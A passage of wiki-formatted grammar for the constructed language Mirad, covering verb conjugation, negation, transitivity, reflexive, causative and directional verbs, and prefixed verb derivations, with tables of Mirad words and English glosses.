| '''xuya''' &lt;br&gt;''was supposed to do''||'''xuwa'''&lt;br&gt;''was supposed to be done, was supposed to happen''
|-
! colspan=6 style=&quot;background: black;color:white;&quot;|
|-
! rowspan=2 style=&quot;background: lightgreen;{{Text default color}};&quot;|Infinitive !!  !! Simple !! rowspan=8|
| '''xer'''&lt;br&gt;''to do''||'''xwer'''&lt;br&gt;''to be done, to happen''
|-
! !! Perfect 
| '''xayer'''&lt;br&gt;''to have done''||'''xawer'''&lt;br&gt;''to have been done, to have happend''
|-
! colspan=6 style=&quot;background: black;color:white;&quot;|
|-
! rowspan=4 style=&quot;background: lightgreen;{{Text default color}};&quot;|Participle !! !! Progressive
| '''xea'''&lt;br&gt;''doing'' ||'''xewa'''&lt;br&gt;''being done, happening''
|-
!  !! Perfect
| '''xya''' &lt;br&gt;''having done''||'''xwa'''&lt;br&gt;''done, happened''
|-
!  !! Imminent
| '''xoa''' &lt;br&gt;''about to do''||'''xowa'''&lt;br&gt;''about to happen''
|-
!  !! Potential
| '''xua'''&lt;br&gt;''bound to do'' ||'''xuwa'''&lt;br&gt;''doable''
|-
! colspan=6 style=&quot;background: black;color:white;&quot;|
|-
!rowspan=2 style=&quot;background: lightgreen;{{Text default color}};&quot; |Gerund
!  !! Simple !!
| '''xen''' &lt;br&gt;''doing''||'''xwen''' &lt;br&gt;''being done, happening, event''
|-
!  !! Perfect !!
| '''xayen'''&lt;br&gt;''having done''||'''xawen'''&lt;br&gt;''having happened''
|}
: Note 1:  Intransitive verbs such as '''per''' ''to go'' have no passive forms.  An expression such as ''They are gone.'' would be translated as '''Yit se pya'''.

== Negative Forms ==
: All of the above verb forms are affirmative.  The indicative and conditional forms can be made negative by using the negative adverb '''voy''' (''not'', '' 'nt'', ''doesn't'', ''don't'').  Those forms that are subjunctive, jussive, or imperative ending in '''-u''' use the negative subordinate conjunction '''von''' (''don't'', ''let not'', ''lest''). 
: '''voy'''....''not'' 
::* '''At &lt;u&gt;voy&lt;/u&gt; te.'''....''I &lt;u&gt;don&lt;/u&gt;'t know.'' (indicative)
::* '''&lt;u&gt;Voy&lt;/u&gt; mamilo.'''....''It will &lt;u&gt;not&lt;/u&gt; rain.'' (indicative)
::* '''At &lt;u&gt;voy&lt;/u&gt; xu hus.'''....''I would &lt;u&gt;not&lt;/u&gt; do that.'' (conditional)
: '''von'''....''Let's not, don't, let it not''
::* '''&lt;u&gt;Von&lt;/u&gt; mamilu.'''....''&lt;u&gt;Let it not&lt;/u&gt; rain.'' (subjunctive)
::* '''&lt;u&gt;Von&lt;/u&gt; yat fuyaku.'''....''&lt;u&gt;Let&lt;/u&gt; us &lt;u&gt;not&lt;/u&gt; despair.'' (jussive)
::* '''&lt;u&gt;Von&lt;/u&gt; pu!'''....''&lt;u&gt;Don't&lt;/u&gt; go.'' (imperative)
: Participles, gerunds, and infinitives can be negated with the prefix '''o-''' (''un-, non-'').
::* '''tosea'''....''feeling'' -&gt; '''otosea'''....''unfeeling''
::* '''xwa'''....''done'' -&gt; '''oxwa'''....''undone''
::* '''teliwa'''....''eaten'' -&gt; '''oteliwa'''....''uneaten''
::* '''tejen'''....''living'' -&gt; '''otejen'''....''not living''
::* '''buen'''....''giving'' -&gt; '''obuen'''....''not giving''
::* '''buer'''....''to give'' -&gt; '''obuer'''....''not to give''
::* '''ter'''....''to know'' =&gt; '''oter'''....''not to know, i.e. to ignore''
: Partciples, gerunds, and infinitives can also be negated with the word '''voy'' (''not''), eg:
::* '''voy tea ha dud'''....''not knowing the answer''
::* '''gel voy tejea'''....''like not living''
::* '''av voy xen hes'''....''for not doing something''

== How to Express Certain English Tenses ==
: English speakers have some tenses that do not fit into the above schema, and so Mirad uses a combination of verbs to achieve the same sense:
::* The English tense ''I have been studying French for four years.'' is translated in Mirad by '''At saye tixea Ferad ji uwa jabi.''' (Mirad present perfect of '''ser''' (''to be'') + the present participle of the main verb, '''tixer'''.

::* The English tense ''I had been studying'' is translated in Mirad by '''At saya tixer''', the past perfect of the verb '''ser''' (''to be'') + the present participle of the main verb, '''tixer'''.

::* The English tense ''I am going to be starring in that role.'' is translated in Mirad by '''At dezdebeyo be hua dezgon.''' (Mirad future progressive).
 
::* The modern Black English tense ''Don't you be doing that.'' is handled in Mirad by '''Von et xeyu hus.''' (Mirad imperative progressive).

== Transitive vs. Intransitive Verbs ==
: Transitive verbs, which can take a direct object, oppose themselves to intransitive verbs, which do not take a direct object.  Some verbs are marked overtly for transitivity.

: Verbs that end in '''xer''' (''to do, -ify, -ize'') are by nature transitive, and often have intransitive counterparts in '''ser''' (''to be, become, -ify, -ize'').  Likewise, verbs ending in '''ber''' (''to put, take'') are transitive and have intransitive counterparts in '''per''' (''to go'').  Here are some examples:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Transitive vs. Intransitive
|-
!  Transitive !! Intransitive
|-
| '''xer'''....''do'' || '''ser'''....''be''
|-
| '''agxer'''....''grow (something)'' || '''agser'''....''grow (up)''
|-
| '''amxer'''....''heat, make hot'' || '''amser'''....''become hot, heat up''
|-
| '''puxer'''....''throw'' || '''puser'''....''jump''
|-
| '''per'''....''go'' || '''ber'''....''put''
|-
| '''aber'''....''put on'' || '''aper'''....''get on''
|-
| '''yaber'''....''raise'' || '''yaper'''....''rise''
|-
| '''poxer'''....''stop (something)'' || '''poser'''....''(come to a) stop''
|-
| '''yuber'''....''bring'' || '''yuper'''....''approach''
|-
| '''yeber'''....''insert'' || '''yeper'''....''enter''
|}

::* '''At &lt;u&gt;agxe&lt;/u&gt; vobi.'''....''I &lt;u&gt;grow&lt;/u&gt; [TRANSITIVE] plants.''
::* '''Ha vobi &lt;u&gt;agseye&lt;/u&gt; ig.'''....''The plants &lt;u&gt;are growing&lt;/u&gt; [INTRANSITIVE] fast.''

::* '''&lt;u&gt;Poxu&lt;/u&gt; ha pur!'''....''&lt;u&gt;Stop&lt;/u&gt; [TRANSITIVE] the car!''
::* '''Ha pur &lt;u&gt;posa&lt;/u&gt;.'''....''The car &lt;u&gt;stopped&lt;/u&gt; [INTRANSITIVE].''

::* '''At &lt;u&gt;yaba&lt;/u&gt; ha mis.'''....''I &lt;u&gt;raised&lt;/u&gt; [TRANSITIVE] the window.''
::* '''Ha amar &lt;u&gt;yapaye&lt;/u&gt;.'''....''The sun &lt;u&gt;has risen&lt;/u&gt; [INTRANSITIVE].''


=== Marking -jer Verbs for Transitivity ===

: Note the following verbs, whose stems end in '''j''' are hard to pronounce with intransitive '''s''' and transitive '''x''', so these two endings are placed with '''p''' and '''b''', respectively, although the presence of the '''p''' is optional, i.e. it's presence or absence can slightly change the meaning from static to dynamic, eg. '''tujer'''....''to sleep'' vs. '''tujper'''....''to fall asleep''.  The transitive forms can be either active or passive.

::{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Marking -jer Verbs for Transitivity
|-
! colspan=2|Intransitive !! colspan=2|Transitive
|-
! Static !! Dynamic !! Active !! Passive
|-
| '''Ha mes &lt;u&gt;yija&lt;/u&gt;'''&lt;br&gt;''The door &lt;u&gt;opened&lt;/u&gt;.'' || '''Ha nasyef &lt;u&gt;yijpa&lt;/u&gt;'''&lt;br&gt;''The purse &lt;u&gt;came open&lt;/u&gt;.'' || '''At &lt;u&gt;yijba&lt;/u&gt; ha mes.'''&lt;br&gt;''I &lt;u&gt;opened&lt;/u&gt; the door.'' || '''Ha mes &lt;u&gt;yijbwa&lt;/u&gt; bey yelput.'''&lt;br&gt;''The door &lt;u&gt;was opened&lt;/u&gt; by an intruder''
|-
| '''Ha mes &lt;u&gt;yuja&lt;/u&gt;.'''&lt;br&gt;''The door &lt;u&gt;closed&lt;/u&gt;.'' || '''Ha yanup &lt;u&gt;yujpa&lt;/u&gt;.'''&lt;br&gt;''The meeting &lt;u&gt;adjourned&lt;/u&gt;.'' || '''At &lt;u&gt;yujba&lt;/u&gt; ha mes.'''&lt;br&gt;''I &lt;u&gt;closed&lt;/u&gt; the door.''||'''Ha mes yeyfe &lt;u&gt;yujbwer&lt;/u&gt; ja sumjob.'''&lt;br&gt;''The door should &lt;u&gt;be closed&lt;/u&gt; by bedtime.''
|-
| '''Ha dezun &lt;u&gt;ijaye&lt;/u&gt;.'''&lt;br&gt;''The play &lt;u&gt;has started&lt;/u&gt;.''||'''Ha par &lt;u&gt;ijpa&lt;/u&gt; boy poys.'''&lt;br&gt;''The car &lt;u&gt;started up&lt;/u&gt; immediately.'' ||'''At &lt;u&gt;ijba&lt;/u&gt; ata tyal.'''&lt;br&gt;''I &lt;u&gt;started&lt;/u&gt; my meal.''||'''Ha tyal &lt;u&gt;ijbwa&lt;/u&gt; jwa.'''&lt;br&gt;''The meal &lt;u&gt;was started&lt;/u&gt; early.''
|-
| '''Ha dezun &lt;u&gt;ujaye&lt;/u&gt;.'''&lt;br&gt;''The play has &lt;u&gt;ended&lt;/u&gt;.''||'''Ata yex &lt;u&gt;ujpaye&lt;/u&gt;.'''&lt;br&gt;''My work &lt;u&gt;has come to an end&lt;/u&gt;.'' || '''A &lt;u&gt;ujba&lt;/u&gt; ha dyes.'''&lt;br&gt;''I &lt;u&gt;finished&lt;/u&gt; the book.''||'''Ha dyes hyoj &lt;u&gt;ujbwa&lt;/u&gt;.'''&lt;br&gt;''The book never &lt;u&gt;got finished&lt;/u&gt;.''
|-
| '''Ha tob &lt;u&gt;toja&lt;/u&gt; zomoj.'''&lt;br&gt;''The man &lt;u&gt;died&lt;/u&gt; yesterday evening.''||'''Ha tob &lt;u&gt;tojpa&lt;/u&gt;.'''&lt;br&gt;''The man &lt;u&gt;dropped dead.&lt;/u&gt;'' || '''Hot &lt;u&gt;tojba&lt;/u&gt; ha twob?'''&lt;br&gt;''Who &lt;u&gt;killed&lt;/u&gt; the man?''||'''Ha twob &lt;u&gt;tojbwa&lt;/u&gt; bey ita tayd.'''&lt;br&gt;''The man &lt;u&gt;was killed&lt;/u&gt; by his wife.''
|-
| '''&lt;u&gt;Teju&lt;/u&gt;.'''&lt;br&gt;''&lt;u&gt;Live!&lt;/u&gt;.''||'''&lt;u&gt;Tejpu!&lt;/u&gt;.'''&lt;br&gt;''&lt;u&gt;Come alive!&lt;/u&gt;.'' || '''Yat efe &lt;u&gt;tejber&lt;/u&gt; ha twob.'''&lt;br&gt;''We need to &lt;u&gt;revive&lt;/u&gt; the man.''||'''Ha twob yofwa &lt;u&gt;tejbwer&lt;/u&gt;.'''&lt;br&gt;''The man could not &lt;u&gt;be revived&lt;/u&gt;.''
|-
| '''Ha tobot &lt;u&gt;taja&lt;/u&gt; zojub.'''&lt;br&gt;''The baby &lt;u&gt;was born&lt;/u&gt; yesterday.'' || '''Hoj ha tobot &lt;u&gt;tajpo&lt;/u&gt;?'''&lt;br&gt;''When &lt;u&gt;will&lt;/u&gt; the baby &lt;u&gt;pop out&lt;/u&gt;?'' || '''Iyt &lt;u&gt;tajba&lt;/u&gt; awa twobot zojub.'''&lt;br&gt;''She &lt;u&gt;gave birth&lt;/u&gt; to a baby boy yesterday.''||'''Ha twobot &lt;u&gt;tajbwa&lt;/u&gt; jo eymoj.'''&lt;br&gt;''The baby boy was &lt;u&gt;birthed&lt;/u&gt; after midnight.''
|-
| '''At &lt;u&gt;tija&lt;/u&gt; jwe.'''&lt;br&gt;''I &lt;u&gt;woke up&lt;/u&gt; on time.''||'''It voy &lt;u&gt;tijpa&lt;/u&gt;.'''&lt;br&gt;''He did not &lt;u&gt;come to.&lt;/u&gt;.'' || '''At &lt;u&gt;tijbo&lt;/u&gt; et jwa.'''&lt;br&gt;''I will &lt;u&gt;wake (you) up&lt;/u&gt; early.''||'''At voy fe &lt;u&gt;tijbwo&lt;/u&gt; gra jwa.'''&lt;br&gt;''I don't want to &lt;u&gt;be woken&lt;/u&gt; too early.''
|-
| '''At &lt;u&gt;tujeya&lt;/u&gt;.'''&lt;br&gt;''I was &lt;u&gt;sleeping.&lt;/u&gt;''||'''At &lt;u&gt;tujpeya&lt;/u&gt;.'''&lt;br&gt;''I was &lt;u&gt;falling sleep&lt;/u&gt;.'' || '''At &lt;u&gt;tujbo&lt;/u&gt; it.'''&lt;br&gt;''I will &lt;u&gt;put (him) to sleep.&lt;/u&gt;.''||'''Ha tobot &lt;u&gt;tujbwo&lt;/u&gt; glojo.'''&lt;br&gt;''The baby &lt;u&gt;will be put to sleep&lt;/u&gt; soon.''
|}

== Reflexive Verbs ==
[[File:TWC Hokitika Gorge • Stewart Nimmo • MRD 1.jpg|thumb|]]
: Reflexive verbs, where the object refers back to the subject, work just as in English, where the object is a reflexive pronoun, eg.:

::* '''At tujboye aut.'''....''I am going to kill myself.''
::* '''Tru eut!'''....''Know thyself!''
::* '''It gobla iut bey goblar.'''....''He cut himself with a knife.''
::* '''Ot yefe yuxer out.'''....''One must help oneself.''

: Sometimes, verbs are reflexive lexically and incorporate the reflexivity in the actual verb form using '''ut''' as the prefix:

::* '''uttujber'''....''commit suicide (= self-kill)''
::* '''utboler'''....''support oneself (= self-support)''
::* '''utdider'''....''wonder (= self-ask)''

: Sometimes, verbs are used reflexively in Mirad even though they are used simply intransitively in English, eg.:

::* '''Et efe &lt;u&gt;vyilxer eut&lt;/u&gt;.'''....''You need to wash up [= &lt;u&gt;wash yourself&lt;/u&gt;].'' (or)
::* '''Et efe &lt;u&gt;utvyilxer&lt;/u&gt;.'''....''You need to wash up  [= &lt;u&gt;self-wash&lt;/u&gt;].''

== Omission of Prepositions After Certain Verbs ==

:: Some verbs inherently incorporate a preposition and so it is not necessary to use that assumed preposition before what would normally be an indirect object.

::{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Inherent Propositions
|-
! Preposition-Incorporating Verb !! Example
|-
| '''per'''....''go (to)'' || '''Pu tam!''' (Not: '''Pu bu tam!''') ''Go home.''&lt;br&gt;'''It pa Paris.'''....''He went to Paris.''
|-
| '''der'''....''say (to), tell'' || '''Du at eta dyun.'''....''Tell me your name.''&lt;br&gt;'''Du at has.'''....''Tell it to me.''
|-
| '''peser'''....''wait (for)'' || '''Pesu at.'''....''Wait for me.''
|-
| '''buer'''....''give (to)'' || '''Buu at hua dyes.'''....''Give me that book.''
|}

:: As in English, in omitting the inherent preposition in a sentence with both a direct object and an indirect object, place the indirect object before the direct object. If the direct object comes first, then the preposition must be overtly specified before the indirect object, eg. '''Buu &lt;u&gt;at&lt;/u&gt; hus.'''....''Give me that.'' or '''Buu hus &lt;u&gt;bu at&lt;/u&gt;.'''....''Give that &lt;u&gt;to me&lt;/u&gt;.''  See more about this in the chapter on [[Mirad_Grammar/Syntax|Syntax]].

== Causative vs. Inchoative Verbs ==
: A causative verb has the sense ''to make something have some quality'', whereas an inchoative verbs means ''to become or take on the quality of something.''

=== Derived from Adjectives ===

: Adjectives can be converted into transitive/causative and intransitive/inchoative verbs.  Causative verbs are always transitive (taking an object), while inchoative verbs are intransitive (not taking an object).  English causative / inchoative verbs often end in ''-ify'' like ''magnify'', or ''-ate'', ''liberate'', or ''ize'', like ''sensitize''.

: To derive a causative verb from an adjective, add the suffix '''-xer'''....''to do'' to either the stem or the whole adjective (with the '''a''' ending).  Whether you do the former or the latter depends on several factors, but the end result is slightly different in nuance.  A verb with adjective stem + '''-xer''' is slightly more idiomatic or less literal than the adjective stem + '''axer'''.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ -axer vs -xer in Transitive Verbs
|-
! Adjective !! Causative/Transitive !! Causative/Transitive
|-
! '''-xer''' !! Literal !! Idiomatic
|-
| '''aga'''&lt;br&gt;''big'' || '''ag&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to magnify'' || '''agxer'''&lt;br&gt;''to grow''
|-
| '''ana'''&lt;br&gt;''one'' || '''an&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to unify'' || '''anxer'''&lt;br&gt;''to unite''
|-
| '''yona'''&lt;br&gt;''apart'' || '''yon&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to separate'' || '''yonxer'''&lt;br&gt;''to cut''
|-
| '''yaga'''&lt;br&gt;''long'' || '''yag&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to lengthen'' || '''yagxer'''&lt;br&gt;''to stretch''
|-
| '''yuga'''&lt;br&gt;''slow'' || '''yug&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to retard'' || '''yugxer''' &lt;br&gt;''to brake''
|-
| '''sana'''&lt;br&gt;''formal'' || '''san&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to formalize'' || '''sanxer'''&lt;br&gt;''to form''
|-
| '''gea'''&lt;br&gt;''equal'' || '''ge&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to equalize'' || '''gexer'''&lt;br&gt;''to equal, equate''
|-
| '''jaa'''&lt;br&gt;''prior'' || '''ja&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to prioritize'' || '''jaxer'''&lt;br&gt;''to prepare''
|-
| '''aota'''&lt;br&gt;''personal'' || '''aot&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to personalize'' || '''aotxer'''&lt;br&gt;''to personify''
|}

: To derive an inchoative verb from an adjective, add the suffix '''ser'''....''to be'' to either the stem or the whole adjective.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Creating Inchoative Verbs
|-
! Adjective !! Inchoative/Intransitive !! Inchoative/Intransitive
|-
! '''-ser''' !! Literal !! Idiomatic
|-
| '''aga'''&lt;br&gt;''big'' || '''ag&lt;u&gt;a&lt;/u&gt;ser'''&lt;br&gt;''to get bigger'' || '''agser'''&lt;br&gt;''to grow''
|-
| '''ana'''&lt;br&gt;''one'' || '''an&lt;u&gt;a&lt;/u&gt;ser'''&lt;br&gt;''to unify'' || '''anser'''&lt;br&gt;''to unite, become united''
|-
| '''yona'''&lt;br&gt;''apart'' || '''yon&lt;u&gt;a&lt;/u&gt;ser'''&lt;br&gt;''to become separate'' || '''yonser'''&lt;br&gt;''to break''
|-
|}
: Be careful to use the transitive, causative verb form when you have a direct object, and the intransitive, inchoative verb form when no direct objects are present or possible, eg.:
::* '''&lt;u&gt;Ansu&lt;/u&gt; ey yet golxwo.'''....''&lt;u&gt;Unite&lt;/u&gt; or you will be divided.'' [INTRANSITIVE]
::* '''At &lt;u&gt;yontadsa&lt;/u&gt; hoj at sa eta jag.'''....''I &lt;u&gt;got divorced&lt;/u&gt; when I was your age.'' [INTRANSITIVE]
::* '''Hisi &lt;u&gt;agaxo&lt;/u&gt; hos et teate.'''....''These &lt;u&gt;will magnify&lt;/u&gt; what you see.'' [TRANSITIVE]
::* '''Hia tud &lt;u&gt;agseye&lt;/u&gt; ig.'''....''This child &lt;u&gt;is growing up&lt;/u&gt; fast.'' [INTRANSITIVE]
::* '''Ata tayd &lt;u&gt;agxe&lt;/u&gt; vosi be oyebzom.'''....''My wife &lt;u&gt;grows&lt;/u&gt; flowers out back.'' [TRANSITIVE]

=== Derived from Nouns ===

: Transitive/causative/active and intransitive/inchoative/passive verbs can also be formed from nouns.  The sense of the former is ''to make be X'' and of the latter, ''to become X''.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Verbs Derived from Nouns
|-
! Noun !! Transitive/Causative/Active !! Intransitive/Inchoative/Passive
|-
| '''mog'''....''ash'' || '''mogxer'''&lt;br&gt;''to incinerate'' || '''mogser'''&lt;br&gt;''to become ashes''
|-
| '''yan'''....''collection'' || '''yanxer'''&lt;br&gt;''to collect'' || '''yanser'''&lt;br&gt;''to get together''
|-
| '''tad'''....''spouse'' || '''tadxer'''&lt;br&gt;''to marry'' || '''tadser'''&lt;br&gt;''to get married''
|-
| '''yom'''....''ice'' || '''yomxer'''&lt;br&gt;''to freeze/make ice'' || '''yomser'''&lt;br&gt;''to freeze/become ice''
|-
| '''mag'''....''fire'' || '''magxer'''&lt;br&gt;''to burn, set fire to'' || '''magser'''&lt;br&gt;''to burn, get burned''
|-
| '''uk'''....''void'' || '''ukxer'''&lt;br&gt;''to empty'' || '''ukser'''&lt;br&gt;''become empty, empty out''
|}

=== Intermediary Causative Verbs ===

: Intermediary verbal causatives like ''have/get my car washed'', ''make/force him go'', ''get one's hair cut'' are formed by suffixing the causative verb infix '''-ux-''' (active) or '''uxw''' (passive) to the stem of the verb signifying the action to be arranged or caused by someone other than the subject, eg.:

::* '''At gobl&lt;u&gt;ux&lt;/u&gt;o ata tayeb zajub.'''....''I will get my hair cut tomorrow.''
::* '''Et voy yafe p&lt;u&gt;ux&lt;/u&gt;er at.'''....''You cannot make me go.''
::* '''Wit tojb&lt;u&gt;ux&lt;/u&gt;a yit.'''....''He had them killed.''
::* '''At efe vyilx&lt;u&gt;ux&lt;/u&gt;er ata pur.'''....''I need to have my car washed.''
::* '''Et up&lt;u&gt;ux&lt;/u&gt;wa him av hes.'''....''You were made to come here for some reason.''
::* '''At bakamb&lt;u&gt;ux&lt;/u&gt;o et.'''....''I will have you hospitalized.''
::* '''Et voy yafe deuz&lt;u&gt;ux&lt;/u&gt;er at.'''....''You cannot make me sing.''
::* '''At hihid&lt;u&gt;ux&lt;/u&gt;wa.'''....''I was tickled (= made to laugh).''
::* '''Eta deuz hihid&lt;u&gt;ux&lt;/u&gt;a yat.'''....''Your song tickled us. (= Made us laugh.)''
::* '''Van het ivas&lt;u&gt;ux&lt;/u&gt;u weti.'''....''May someone get you guys to be happy.''
::* '''Hua enzyukpur uzp&lt;u&gt;ux&lt;/u&gt;a yata pur.'''....''That motorcycle caused our car to veer.''

== Subject-directed vs. Patient-directed Verbs ==
: The directionality of some verbs can be distinguished by the verbal formant infix '''-i-''' for an action or motion toward the speaker and '''-u-''' for an action or motion away from the speaker toward some patient, eg.:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Directional Verbs
|-
! Subject-directed !! Patient-directed
|-
| '''b&lt;u&gt;i&lt;/u&gt;er'''....''to take'' || '''b&lt;u&gt;u&lt;/u&gt;er'''....''to give''
|-
| '''nier'''....''to consume'' || '''nuer'''....''to supply''
|-
| '''nyier'''....''to order'' || '''nyuer'''....''to deliver''
|-
| '''nazunier'''....''win a prize'' || '''nazunuer'''....''award a prize''
|-
| '''noysier'''....''pay off'' || '''noysuer'''....''charge''
|-
| '''ojbier'''....''borrow'' || '''ojbuer'''....''lend''
|-
| '''tadier'''....''get married'' || '''taduer'''....''marry off''
|-
| '''papier'''....''take flight'' || '''papuer'''....''send off flying''
|-
| '''pipier'''....''set sail'' || '''pipuer'''....''dock''
|-
| '''simbier'''....''take a seat'' || '''simbuer'''....''offer a seat''
|-
| '''tampier'''....''leave home'' || '''tampuer'''....''arrive home''
|-
| '''tamier'''....''settle in'' || '''tamuer'''....''shelter''
|-
| '''nuxbier'''....''to buy'' || '''nixbuer'''....''to sell''
|-
| '''telier'''....''to eat'' || '''teluer'''....''to feed''
|-
| '''gonbier'''....''to participate'' || '''gonbuer'''....''to share''
|-
| '''tilier'''....''to drink'' || '''tiluer'''....''to ply with drink''
|-
| '''teubier'''....''to swallow'' || '''teubuer'''....''to spit out''
|-
| '''teatier'''....''to observe, watch'' || '''teatuer'''....''to show''
|-
| '''taxier'''....''to memorize'' || '''taxuer'''....''to remind''
|-
| '''alier'''....''to breathe in'' || '''aluer'''....''to breathe out, expire''
|-
| '''ilier'''....''to absorb'' || '''iluer'''....''to pour''
|-
| '''ifier'''....''to enjoy'' || '''ifuer'''....''to please''
|-
| '''dier'''....''to ask'' || '''duer'''....''to suggest''
|-
| '''tier'''....''to learn'' || '''tuer'''....''to inform''
|-
| '''pier'''....''to depart'' || '''puer'''....''to arrive''
|-
| '''kebier'''....''to choose'' || '''kebuer'''....''to distribute''
|-
| '''byier'''....''to originate'' || '''byuer'''....''to target''
|-
| '''mempier'''....''to take off'' || '''mempuer'''....''to land''
|-
| '''sinier'''....''visualize'' || '''sinuer'''....''display''
|-
| '''xier'''....''to result'' || '''xuer'''....''to cause''
|-
| '''yifier'''....''to get up the courage'' || '''yifuer'''....''to encourage, challenge''
|-
| '''yafonier'''....''to gain power'' || '''yafonuer'''....''to empower''
|-
| '''trier'''....''to become acquainted with'' || '''truer'''....''to acquaint with, introduce to''
|-
| '''tepzexier'''....''to draw attention'' || '''tepzexuer'''....''to focus attention on''
|-
| '''yekier'''....''to undertake'' || '''yekuer'''....''to challenge''
|-
| '''dyunier'''....''to assume the name of'' || '''dyunuer'''....''to bestow the name of''
|-
| '''abfinier'''....''to take advantage of'' || '''abfinuer'''....''to favor''
|-
| '''telier'''....''to eat'' || '''teluer'''....''to feed''
|-
| '''ilier'''....''to absorb'' || '''iluer'''...''to pour''
|}

: In some cases, the directionality can be both ways in a verb, in which case the verb formant infix '''-ui-''' (a hybrid form) is used, eg.:
::* '''nunier '''....''to purchase'' (subject-directed)
::* '''nunuer'''....''to sell'' (patient-directed)
::* '''nunuier'''....''to trade'' (subject &amp; patient-directed)

::* '''tier'''....''to learn, realize'' (subject-directed)
::* '''tuer'''....''to inform, tip off'' (patient-directed)
::* '''tuier'''....''to communicate'' (subject &amp; patient-directed)

::* '''alier'''....''to breathe in, inhale'' (subject-directed)
::* '''aluer'''....''to breathe out, exhale'' (patient-directed)
::* '''aluier'''....''to breathe, respire'' (subject &amp; patient-directed)

::* '''bier '''....''to take'' (subject-directed)
::* '''buer'''....''to give'' (patient-directed)
::* '''buier'''....''to give and take, exchange'' (subject &amp; patient-directed)

== Bi-radical Verbs ==
: Some verbs are formed using two verb roots together.  Here are some examples:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Bi-radical Verbs
|-
! Verb Root 1 !! Verb Root 2 !! Bi-radical Verb
|-
| '''nuxer'''....''to pay'' || '''bier'''....''to take'' || '''nuxbier'''....''to buy''
|-
| '''nixer'''....''to earn'' || '''buer'''....''to give'' || '''nixbuer'''....''to sell''
|-
| '''kexer'''....''to seek'' || '''bier'''....''to take'' || '''kexbier'''....''to choose''
|-
| '''uper'''....''to come'' || '''dier'''....''to ask'' || '''updier'''....''to invite''
|-
| '''teater'''....''to see'' || '''der'''....''to tell'' || '''teader'''....''to testify''
|-
| '''teeter'''....''to hear'' || '''drer'''....''to write'' || '''teadrer'''....''to report''
|-
| '''teater'''....''to see'' || '''per'''....''to go'' || '''teaper'''....''to visit''
|-
| '''texer'''....''to think'' || '''der'''....''to say'' || '''texder'''....''to mention''
|-
| '''kexer'''....''to seek'' || '''pixer'''....''to catch'' || '''kexpixer'''....''to hunt''
|-
| '''yeker'''....''to try'' || '''teexer'''....''to listen'' || '''yekteexer'''....''to try (in court)''
|}

== Verbs with Vectorial Prefixes ==

: Prepositions and directional adverbs can be prefixed to verbs in order to change their vectorial semantics. A preposition ending in '''b''' will assimilate by losing the '''b''' before the verb '''per'''....''to go'' or the verb '''ber'''.  This assimilation does not occur for other verbs beginning with '''b''' such as '''byexer''' (''to hit''). A preposition ending in '''b''' will, however, assimilate (lose the '''b''') before any verb bases beginning with a '''p'''. For example, '''ab''' (''on'') + '''bexer''' (''to hold'') = '''obbexer''' (''to hold on''), because '''obexer''' could be interpreted as ''to release''.  Here are some examples:

:{| class=&quot;wikitable sortable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Verb Prepositional Prefixes
|-
! Preposition/Adverb !!  Transitive Verb !! Intransitive Verb
|-
| '''ab'''....''on'' || '''aber'''....''apply''&lt;br&gt;not '''abber'''! || '''aper'''....''get on''&lt;br&gt;not '''abper'''!
|-
| '''ob'''....''off'' || '''ober'''....''remove'' || '''oper'''....''get off, dismount''
|-
| '''ab'''....''off'' || '''abbaxrer'''....''to rub on'' || '''apyexer'''....''to attack''
|-
| '''eb'''....''between'' || '''eber'''....''block'' || '''eper'''....''intervene''
|-
| '''eb'''....''between'' || '''ebdrayefser'''....''to interleave'' || '''ebdrafxer'''....''to interleave''
|-
| '''ub'''....''toward'' || '''uber'''....''to send'' || '''uper'''....''to come''
|-
| '''ub'''....''toward'' || '''ubbixer'''...''to attract'' || '''upixer'''....''to pitch toward''
|-
| '''yab'''....''up'' || '''yaber'''....''raise'' || '''yaper'''....''rise''
|-
| '''yob'''....''down'' || '''yober'''....''take down'' || '''yoper'''....''descend''
|-
| '''yub'''....''near'' || '''yuber'''....''bring near'' || '''yuper'''....''approach''
|-
| '''yib'''....''far'' || '''yiber'''....''take away'' || '''yiper'''....''go far away''
|-
| '''yeb'''....''in'' || '''yeber'''....''insert'' || '''yeper'''....''enter''
|-
| '''yeb'''....''in''  || '''yepuxer'''....''throw in'' || '''yepuser'''....''jump in''
|-
| '''oyeb'''....''out'' || '''oyeber'''....''expose'' || '''oyeper'''....''exit''
|-
| '''oyeb'''....''out'' || '''oyebbuxer'''....''expel'' || '''oyepuxer'''....''eject''
|-
| '''zyu'''....''round''  || '''zyuber'''....''rotate'' || '''zyuper'''....''revolve''
|-
| '''zya'''....''throughout'' || '''zyaber'''....''spread'' || '''zyaper'''....''tour''
|-
| '''av'''....''for'' || '''avdaler'''....''plead'' || '''avper'''....''pursue''
|-
| '''ov'''....''against'' || '''ovber'''....''oppose'' || '''ovper'''....''countervene''
|-
| '''yan'''....''together'' || '''yanber'''....''compose'' || '''yanper'''....''meet''
|-
| '''yon'''....''apart'' || '''yonber'''....''separate'' || '''yonper'''....''separate''
|-
| '''iz'''....''direct'' || '''izber'''....''lead'' || '''izper'''....''head''
|-
